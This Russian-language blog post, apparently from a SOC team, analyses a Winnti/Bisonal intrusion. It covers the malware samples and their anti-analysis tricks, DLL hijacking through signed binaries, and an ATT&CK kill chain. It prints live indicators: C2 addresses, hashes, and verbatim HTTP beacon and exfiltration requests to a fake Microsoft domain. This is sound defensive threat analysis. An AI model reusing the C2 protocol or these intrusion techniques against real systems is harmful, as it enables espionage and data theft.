Обзор обнаруженных техник и тактик группировки Winnti. Часть 1

Одно фишинговое письмо, по неосторожности открытое сотрудником компании, — и важная информация слита злоумышленнику. Всего лишь один клик мышью — и на компьютере сотрудника запущены процессы, «допускающие» злоумышленников к инфраструктуре организации. При этом «антивирусы» взлом пропустили. Как раз с таким случаем столкнулся наш автор, эксперт «Информзащиты», при обнаружении атаки группировки Winnti на компанию-заказчика. Эта группировка специализируется на краже данных у предприятий военно-промышленного комплекса, правительственных организаций и разработчиков ПО.

«Информзащите» удалось отследить и систематизировать техники и тактики Winnti. Анализ получился достаточно глубоким и будет любопытен техническим специалистам. Предлагаем погружаться в детали постепенно, а потому сегодня только первая часть скринов кода и наших комментариев.

7c61756965e4bfe940fc6757ec14995c.jpeg

Введение

В ноябре 2020 года при подключении заказчика на мониторинг SOC и анализе событий в инфраструктуре аналитики IZ: SOC компании «Информзащита» зафиксировали подозрительную активность. В процессе расследования инцидентов ИБ были обнаружены следы APT (advanced persistent threat).

Атаки проводились как с использованием автоматизированных средств разведки и проникновения, так и в ручном режиме, когда злоумышленники осуществляли непосредственное управление установленным в системе вредоносным программным обеспечением. Результатом атак, помимо проникновения и закрепления в инфраструктуре, был сбор информации со скомпрометированных хостов и ее отправка за пределы организации.

В состав используемого злоумышленниками инструментария входили:

  • средства для сбора информации;

  • средства удаленного управления;

  • многофункциональный бэкдор семейства Bisonal, утилиты для сканирования сети на наличие уязвимости CVE-2017–0144 (MS17–010);

  • утилиты из набора Impacket, программы для перенаправления сетевого трафика и извлечения паролей из памяти;

  • вредоносные динамические библиотеки для инъекции вредоносного кода;

  • легитимные процессы.

Согласно доступным нам на момент написания данной статьи отчетам производителей средств защиты информации, обнаруженные индикаторы компрометации и используемое вредоносное ПО предположительно относится к семейству Bisonal. Данные индикаторы могут быть связаны с APT-группой Winnti. Страной происхождения группы предположительно является Китай. Основными целями APT-атак, в которых используют указанное ВПО, являются шпионаж и кража критических данных. Как правило, жертвы группы Winnti — это организации, относящиеся к ВПК, аэрокосмической отрасли, а также правительственные организации, разработчики ПО.

Анализ функциональности вредоносного ПО

В рамках расследования инцидента было обнаружено несколько образцов вредоносного программного обеспечения. Результаты исследования некоторых из них представлены ниже.

MpUxSCuiL.exe

Один из обнаруженных образцов маскируется под модуль Windows Defender. В рамках анализа функциональности вредоносного ПО была установлена схожесть обнаруженных экземпляров с семейством Bisonal. В частности, было изучено поведение, методы обфускации кода и защиты от отладки.

Образец представляет собой средство для сбора информации о зараженной системе и скрытого выполнения команд от C2.

Для усложнения анализа функция main изученного образца насыщена переходами, а общее количество блоков составляет несколько тысяч.

Для загрузки необходимых библиотек используется явное связывание. Имена библиотек хранятся в зашифрованном виде и расшифровываются перед использованием.

image-loader.svg

В качестве С2 используются два сервера управления: внешний (172.217.13[.]84:443) и локальный (10.10.48[.]166:49688). В обоих случаях устанавливается TCP-соединение, через которое передаются зашифрованные данные. Адреса серверов управления также хранятся в зашифрованном виде. Для реализации сетевых соединений используются Windows сокеты и библиотека WS2_32.dll.

image-loader.svgimage-loader.svgimage-loader.svg

  • Функция decrypt

Декомпилированный код функции decrypt представлен на изображении. Данная функция используется для шифрования имен загружаемых библиотек, IP-адресов серверов управления и т.д.

image-loader.svgimage-loader.svg

Вместе с использованием избыточного ветвления в главной функции, в образце содержится множество строк, которые не выполняют никаких функций. Кроме того, в образце используются функции GetTickCount и IsDebuggerPresent, которые реализуют простейший механизм антиотладки.

Подобное поведение было описано в следующих отчетах

https://securelist.ru/cactuspete-apt-groups-updated-bisonal-backdoor/97729

https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html

https://unit42.paloaltonetworks.com/unit42-bisonal-malware-used-attacks-russia-south-korea/

Применение DLL Hijacking

Для закрепления в системе злоумышленники использовали технику Dll Hijacking. Основное преимущество в том, что в автозапуск системы прописывается уязвимый для Dll Hijacking легитимный файл, зачастую имеющий цифровую подпись. В этом случае вредоносная нагрузка злоумышленников располагается в DLL библиотеке, которая будет загружена при запуске легитимного исполняемого файла.

В ходе расследования инцидента было обнаружено несколько модулей, которые закреплялись подобным образом. Для реализации Dll Hijacking злоумышленники использовали легитимные файлы с цифровой подписью:

NvContainer64.exe (NVIDIA)- 1e3c33ff0386326773b6c58d46cbf53b1b2bef91

frwl_svc.exe (Dr.Web) — 6f86e203d20abb0499bbf8468095d99ffb20f6e2

LBTWiz.exe (Logitech) — 431e5aa8ab8616dbca14854182a6c0a73946abdc

bdreinit.exe (BitDefender) — f9a1e292bf6cdf7bb34c293dc06d8754549fe1a4

Анализ библиотек с полезными нагрузками в настоящий момент не завершен.

version.dll — e370e8d883ea347b6f3475522adc69bc8725d127

wtsapi32.dll — 3bb315d0a86cf6a08eb32ea5a59263fcb8a649af

LBTServ.dll — 387c404930815ac5711e52185492b6425b1de05a

dbghelp.dll — a543f2abe6e46aefde4aae0ccc82ad3c26e8c391

Conhost.exe

На нескольких хостах был обнаружен другой экземпляр вредоносного ПО, который использовала та же группировка. В ходе изучения образца был выявлена следующая функциональность:

  1. передача списка процессов на C2;

  2. завершение указанного оператором процесса;

  3. загрузка с С2 и запуск исполняемого файла;

  4. запуск командной оболочки для интерактивной работы оператора.

Главная функция семпла содержит более тысячи блоков с избыточным ветвлением и искусственным усложнением логики. При детальном рассмотрении установлено, что большинство блоков в главной функции не несут смысловой нагрузки и не выполняются при запуске образца. Кроме того, в главной функции содержится множество статических строк, которые не используются. Как и в случае MpUxSCuiL.exe, эти строки не участвуют при выполнении основной логики и служат лишь для усложнения анализа.

3679725eaa0b83f2244082486a580293.jpg

Также в целях усложнения анализа авторы семпла реализовали специфический механизм для задержки выполнения программы. Данный механизм представляет собой счетчик, в котором вместо целочисленных значений сравниваются значения хешей MD5 от целых чисел. При этом число представлено в кодировке ANSI. Конечным значением счетчика является хеш 0882a673e1a7ef00f19171501163b669 от последовательности байт 0×313038333736363439 (число 108376649). Подобные вычисления создают большую нагрузку на центральный процессор, что вызывает практически полную его загрузку на несколько минут. Предполагается, что такая сложность вычислений заставит некоторые антивирусные средства и песочницы прервать проверку файла.

Счетчик на значениях MD5Счетчик на значениях MD5Константные значения, которые используются в алгоритме MD5Константные значения, которые используются в алгоритме MD5image-loader.svg

Далее семпл получает свое название с помощью функции GetModuleFileNameW и проверяет один из двух критериев: если название модуля не conhost.exe или в названии отсутствует расширение .tmp, то семпл прекращает свою работу.

После проверки имени образец расшифровывает другой набор строк для дальнейшей работы. В качестве шифрования используется XOR. Несмотря на то, что ключ XOR генерируется «на лету», он статичен и совпадает для всех строк. В приведенном наборе строк находятся HTTP-заголовки, домен сервера управления, эндпоинты сервера управления, название библиотеки wininet.dll и ее экспортируемые функции.

image-loader.svg

Далее образец загружает библиотеку wininet.dll с помощью функции LoadLibrary. После получения адреса библиотеки в памяти с помощью функции GetProcAddress вычисляются смещения до экспортируемых функций:

image-loader.svgСписок используемых функций wininet.dllСписок используемых функций wininet.dll

Далее вредонос получает данные о системе:

  • используемый прокси-сервер;

  • раскладка клавиатуры;

  • время с момента загрузки системы;

  • имя компьютера;

  • учетная запись, из-под которой запущен семпл;

  • локальный IP-адрес хоста.

Для работы с сервером управления образец периодически отправляет Hello-сообщения на С2 через HTTPS соединение. В поле Cookie передается информация о зараженной системе закодированная Base32. Формат передаваемых в Cookies данных представлен на рисунке.

GET /ru/order/index.php? strPageID=2150213824 HTTP/1.1

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/66.0.3359.181 Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU, ru; q=0.9, en-US; q=0.8, en; q=0.7

Cookie: JSESSIONID=AHAKQKMAWUAQAAH75IMAIAAAAAAAMAAAAAAQAAAAAEHQAV

2JJYWUKRSVIZIDSTSKJNJFEBAAOVZWK4QPABLUSTRNIVDFKRSQHFHEUS2SKIJAAMJSG4XDALRQFYYTUOBQHAYDUOSPNYDAA3TFO44TCMI=

Host: microsoft.offices-update.com

image-loader.svg

Если в теле ответа на Hello-сообщение сервер возвращает {«status»: «success»}, семпл создает новый поток, в котором выполняются обращения на другой эндпоинт сервера управления: https://{Domain}/ru/news/index.php. В качестве параметра newsID используется дата и время (только минуты и секунды). Этот эндпоинт применяется для передачи вредоносу различных команд.

GET /ru/news/index.php? strPageID=2150213824&newsID=2021–04–12–2658 HTTP/1.1

Host: microsoft.offices-update.com

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/66.0.3359.181 Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU, ru; q=0.9, en-US; q=0.8, en; q=0.7

В ответе сервера может быть передана одна из команд.

1. Загрузка и запуск исполняемого файла:

  • обращение к эндпоинту https://{domain}/sitefiles/index.php и сохранение файла в каталоге %TEMP%;

  • запуск исполняемого файла с помощью функции ShellExecuteW;

  • передача вывода запущенного файла на эндпоинт-приемник.

2. Запуск интерактивной командной оболочки:

  • запуск экземпляра командной строки;

  • периодическое чтение и передача вывода командной строки.

3. Передача команды в экземпляр командной строки через pipe

4. Получение списка процессов

5. Завершение указанного процесса

Вывод каждой из описанных команд передается на специальный эндпоинт-приемник в виде POST-запроса. Передаваемые данные шифруются тем же XOR-ключом, что и строки в теле трояна.

POST /xhome.native.page/datareader.php? sid=2150213824 HTTP/1.1

Host: microsoft.offices-update.com

Connection: close

Accept: */*

Referer: /siteFiles/index.php? strPageID=2150213824

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/66.0.3359.181 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU, ru; q=0.9, en-US; q=0.8, en; q=0.7

Content-Length: 21

Cache-Control: no-cache

Если команда в ответе отсутствовала, троян засыпает на случайное количество миллисекунд.

GET /siteFiles/index.php? strPageID=2150213824 HTTP/1.1

Host: microsoft.offices-update.com

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/66.0.3359.181 Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU, ru; q=0.9, en-US; q=0.8, en; q=0.7

Kill Chain

На рисунке 1 представлены действия злоумышленников в инфраструктуре. Из проведенного анализа в предыдущей главе мы предполагаем, что для получения первичного доступа к системе использовался фишинговый документ. Далее на компьютере одного из сотрудников была запущена вредоносная нагрузка, которая подключалась к внешнему серверу и скачивала исполняемый код. На каждом хосте вручную собирались уникальные вредоносные нагрузки, которые в дальнейшем использовали технику Hijack Execution Flow: DLL Search Order Hijacking для закрепления в системе. Также закрепление происходило с помощью классических техник, а именно: модификаций веток в реестре, запуска вредоносных служб, создания задач в планировщике заданий.

После этого злоумышленники проводили разведку с использованием как стандартных системных утилит, так и с применением специального ПО. Для перемещения внутри инфраструктуры и удаленного выполнения команд использовалась утилита из пакета Impacket — wmiexec.exe. Доступ к учетным записям был получен посредством обращения к области памяти процесса lsass.exe.

В качестве инструмента для вывода данных во внешнюю сеть злоумышленники использовали собственную сборку архиватора.

Существуют различные подходы к описанию действий злоумышленника. В данной статье будет использован TTPs-подход на основе ATT&CK MATRIX, доступной базы знаний, основанной на анализе реальных атак.

Использование такой системы категоризации поведения атакующих позволяет не только предсказать дальнейшие шаги, но и выявить конкретную группировку в соответствии с используемыми методами.

e940beac7050c289c624fbefb2400be4.jpg

Initial Access (TA0001) / Execution (TA0002) / Prive

Предположительно, начальный доступ к инфраструктуре был получен в результате отправки фишингового письма сотруднику организации. По обнаруженным остаточным следам после открытия вложения на компьютере запускается вредоносная нагрузка, которая подключается к внешнему серверу и скачивает исполняемый код.

Вредоносная нагрузка не детектируется распространёнными на рынке антивирусными средствами как на клиенте, так и на почтовом сервере…

Продолжение читайте во второй части. Мы расскажем, каким образом злоумышленники обходили защиту, как усложняли оценку критичности украденной информации, и что именно позволило аналитикам провести работу по определению скомпрометированных хостов и предотвращению дальнейшего продвижения злоумышленников внутри сети.

© Habrahabr.ru